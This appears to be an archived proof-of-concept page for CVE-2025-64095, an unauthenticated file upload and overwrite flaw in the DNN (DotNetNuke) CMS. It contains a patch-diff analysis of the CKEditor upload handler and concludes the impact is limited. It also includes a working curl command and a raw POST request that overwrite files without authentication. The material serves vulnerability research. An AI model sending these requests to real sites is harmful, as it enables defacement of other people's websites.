Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-64095 PoC — DNN 代码问题漏洞

Source
Associated Vulnerability
Title:DNN 代码问题漏洞 (CVE-2025-64095)
Description:DNN(又名DotNetNuke)是美国DNN公司的一套由微软支持、基于ASP.NET平台的开源内容管理系统(CMS)。该系统具有易于安装、可扩展、功能丰富等特点。 DNN 10.1.1之前版本存在代码问题漏洞,该漏洞源于默认HTML编辑器允许未经验证的文件上传,可能导致网站篡改和跨站脚本攻击。
Description
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
Readme
# CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

I'm a simple man, I see cvss:10/10 I go in xD

I saw this new CVE CVE-2025-64095 DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

The default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files.

>> Description
An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads.

https://nvd.nist.gov/vuln/detail/CVE-2025-64095

Base Score: 10.0 CRITICAL 🤷‍♂️

It turns out not that critical after all, since you can not upload a web shell like ASP, ASPX..etc **(in the default configuration at least )** you can upload images + SVG only . you can only upload/write existing files in the web server + in a specific path, you can not even upload a file in the root dir .


# Patch Diffing Analysis: DNN Platform 10.1.0  10.1.1

Since all versions before 10.1.1 are vulnerable, i took the DNN Platform 10.1.0 (the last vulnerable version )

## Introduction

The diff is a little bit big, I'm only interested in the code that is related to the file upload which is related to `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx`. So I focused on comparing this specific file between versions to understand what (if anything) was fixed in 10.1.1.

Let me walk you through what I found and how I discovered the vulnerability.



## Initial Investigation

When I first started looking at the two versions, the overall diff showed 158 changed files between DNN Platform 10.1.0 and 10.1.1. Most were just  improvements  - file-scoped namespaces. But I needed to know if the file upload vulnerability was patched.

The vulnerable file is located at `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs` - this is the CKEditor file upload handler. It's a common attack surface for file upload vulnerabilities.



## The Vulnerability in 10.1.0

Looking at the `ProcessRequest` method in 10.1.0:

```csharp
public void ProcessRequest(HttpContext context)
{
    context.Response.AddHeader("Pragma", "no-cache");
    context.Response.AddHeader("Cache-Control", "private, no-cache");

    this.HandleMethod(context);
}
```

That's it. There's literally **no authentication check**. Anyone can send a request to this endpoint and upload files, no session check, nothing.

The flow goes like this:
1.  sends a POST request to `FileUploader.ashx`
2. `ProcessRequest` gets called
3. It immediately calls `HandleMethod` which routes to `UploadFile`
4. `UploadFile` calls `UploadWholeFile`
5. `UploadWholeFile` processes the upload without checking if the user is logged in

The entire upload logic happens in `UploadWholeFile` starting around line 230. Let me show you the critical parts:

```csharp
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
    for (int i = 0; i < context.Request.Files.Count; i++)
    {
        var file = context.Request.Files[i];

        var fileName = Path.GetFileName(file.FileName);  // Line 236

        // Convert Unicode Chars
        fileName = Utility.ConvertUnicodeChars(fileName);

        // Replace dots in the name with underscores (only one dot can be there... security issue).
        fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);

        // Check for Illegal Chars
        if (Utility.ValidateFileName(fileName))
        {
            fileName = Utility.CleanFileName(fileName);
        }

        // ... more processing ...

        // Rename File if Exists
        if (!this.OverrideFiles)  // Line 268
        {
            var counter = 0;
            while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
            {
                counter++;
                fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
            }
        }

        var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
        var userId = UserController.Instance.GetCurrentUserInfo().UserID;  // Line 284 - gets userId but never checked!

        if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
        {
            FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
        }
        else
        {
            // Image resizing logic follows...
        }
    }
}
```

Notice that on line 284, they call `UserController.Instance.GetCurrentUserInfo()` to get the userId, but they never actually verify if the user is authenticated. If you're not logged in, this just returns a null or anonymous user, but the upload continues anyway.

Also notice the `OverrideFiles` property on line 268:

```csharp
private bool OverrideFiles =>
    HttpContext.Current.Request["overrideFiles"].Equals("1")
    || HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
```

This is a user-controlled parameter! Anyone can set `overrideFiles=1` in their upload request and overwrite existing files.



## Testing the Vulnerability

I tested this by crafting a simple curl command:

```bash
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "file=@poc.png" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
```

 raw POST request
 
```http
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive

--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png


--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"

0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"

Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--

```

####  response :


```http
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194

[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
```

<img width="1236" height="645" alt="image" src="https://github.com/user-attachments/assets/1c53d652-80e3-4772-a21c-e691c8b4adf6" />


The file was uploaded successfully. I verified it by checking `http://mysite.dnndev.me/Portals/_default/poc.png` and sure enough, there it was.



and the file is hosted  in the **\Portals\_default** dir :

```
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File


    Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/31/2025   4:16 PM              0 poc.png


PS C:\Users\pwn\Documents\site\web02>
```

<img width="745" height="507" alt="image" src="https://github.com/user-attachments/assets/85945f71-6d25-4f92-b8c9-ee60677c1c6d" />




## The Path Traversal Protection

I was looking for path traversal to rewrite the files in the root directory , but the  protection is actually pretty good. Looking 

```csharp
var fileName = Path.GetFileName(file.FileName);
```

 it works correctly. `Path.GetFileName()` automatically strips any directory traversal sequences. So if someone tries to upload a file named `../../../foo`, it becomes just `foo`.

The code also has additional protections in **"DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"**

```csharp
    private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
    {
        for (var i = 0; i < context.Request.Files.Count; i++)
        {
            var file = context.Request.Files[i];
            if (file is null)
            {
                continue;
            }

            var fileName = Path.GetFileName(file.FileName);

            if (!string.IsNullOrEmpty(fileName))
            {
                // Convert Unicode Chars
                fileName = Utility.ConvertUnicodeChars(fileName);

                // Replace dots in the name with underscores (only one dot can be there... security issue).
                fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);

                // Check for Illegal Chars
                if (Utility.ValidateFileName(fileName))
                {
                    fileName = Utility.CleanFileName(fileName);
                }
            }
            else
            {
                throw new HttpRequestValidationException("File does not have a name");
            }

            if (fileName.Length > 220)
            {
                fileName = fileName.Substring(fileName.Length - 220);
            }

            // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
            fileName = Regex.Replace(fileName, @"^\\+", string.Empty);

            var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);

            // Rename File if Exists
            if (!OverrideFiles)
            {
                var counter = 0;

                while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
                {
                    counter++;
                    fileName = string.Format(
                        "{0}_{1}{2}",
                        fileNameNoExtenstion,
                        counter,
                        Path.GetExtension(file.FileName));
                }
            }
```

as you can see in the code  `// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
            fileName = Regex.Replace(fileName, @"^\\+", string.Empty);`

As I said, I do not think this is a critical vulnerability  after all 


File Snapshot

[4.0K] /data/pocs/5463fc4044a4c3c3f332797cf03a252f4923452b ├── [1.4M] code-changed.txt └── [ 10K] README.md 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.